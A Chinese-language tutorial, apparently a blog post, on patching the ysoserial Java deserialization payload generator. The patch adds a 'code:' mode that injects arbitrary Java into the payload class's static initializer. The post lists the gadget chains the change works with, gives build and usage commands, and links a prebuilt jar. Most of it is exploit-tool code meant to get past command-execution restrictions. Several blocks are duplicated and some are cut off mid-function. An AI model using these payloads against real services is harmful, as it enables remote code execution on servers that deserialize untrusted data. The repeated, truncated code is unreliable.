ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。
https://github.com/frohoff/ysoserial
一般该工具可生成执行任意命令的序列化对象,通过对工具代码进行简单修改,也可使其执行任意的Java代码,以此来绕过对命令执行的限制。
作者在115行的注释写到: TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections(待做,可以做一些有趣的事情比如注入一个纯java的反弹或绑定shell去绕过较弱的保护)已经留出了进行代码执行的位置,实质上一般用的命令执行是调用的写死的Runtime调用,这里我们只需要稍微改下即可。
ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java这个文件中(105行):
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class> abstTranslet, Class> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class> abstTranslet, Class> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
进行简单的修改:
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class> abstTranslet, Class> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd="";
//如果以code:开头,认为是代码,否则认为是命令
if(!command.startsWith("code:")){
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";}
else{
System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出
cmd = command.substring(5);
}
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class> abstTranslet, Class> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd="";
//如果以code:开头,认为是代码,否则认为是命令
if(!command.startsWith("code:")){
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";}
else{
System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出
cmd = command.substring(5);
}
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
mvn clean package -DskipTests
进行重新打包
由于不是所有的payload在构造时都调用了Gadgets.createTemplatesImpl,所以只有以下几种适用于以上修改。
ROME
CommonsBeanutils1
CommonsCollections2
CommonsCollections3
CommonsCollections4
Spring1
Spring2
Jdk7u21
MozillaRhino1
JBossInterceptors1
JavassistWeld1
JSON1
Hibernate1
其它部分Payload(如CommonsCollections1)可以通过手工改造进行执行任意代码。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "code:new java.io.FileOutputStream(\"test\").write(112);" > 1.class
#Java Code Mode:new java.io.FileOutputStream("test").write(112);
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar LoadObject 1.class #LoadObject是照着格式写的一个反序列化payload文件的payload~
#查看当前目录可以发现多了一个test文件
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "code:new java.io.FileOutputStream(\"test\").write(112);" > 1.class
#Java Code Mode:new java.io.FileOutputStream("test").write(112);
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar LoadObject 1.class #LoadObject是照着格式写的一个反序列化payload文件的payload~
#查看当前目录可以发现多了一个test文件
打包好的jar文件。
链接:https://pan.baidu.com/s/12o5UFaln0qDUo0hPcIR1Eg 提取码:qdfc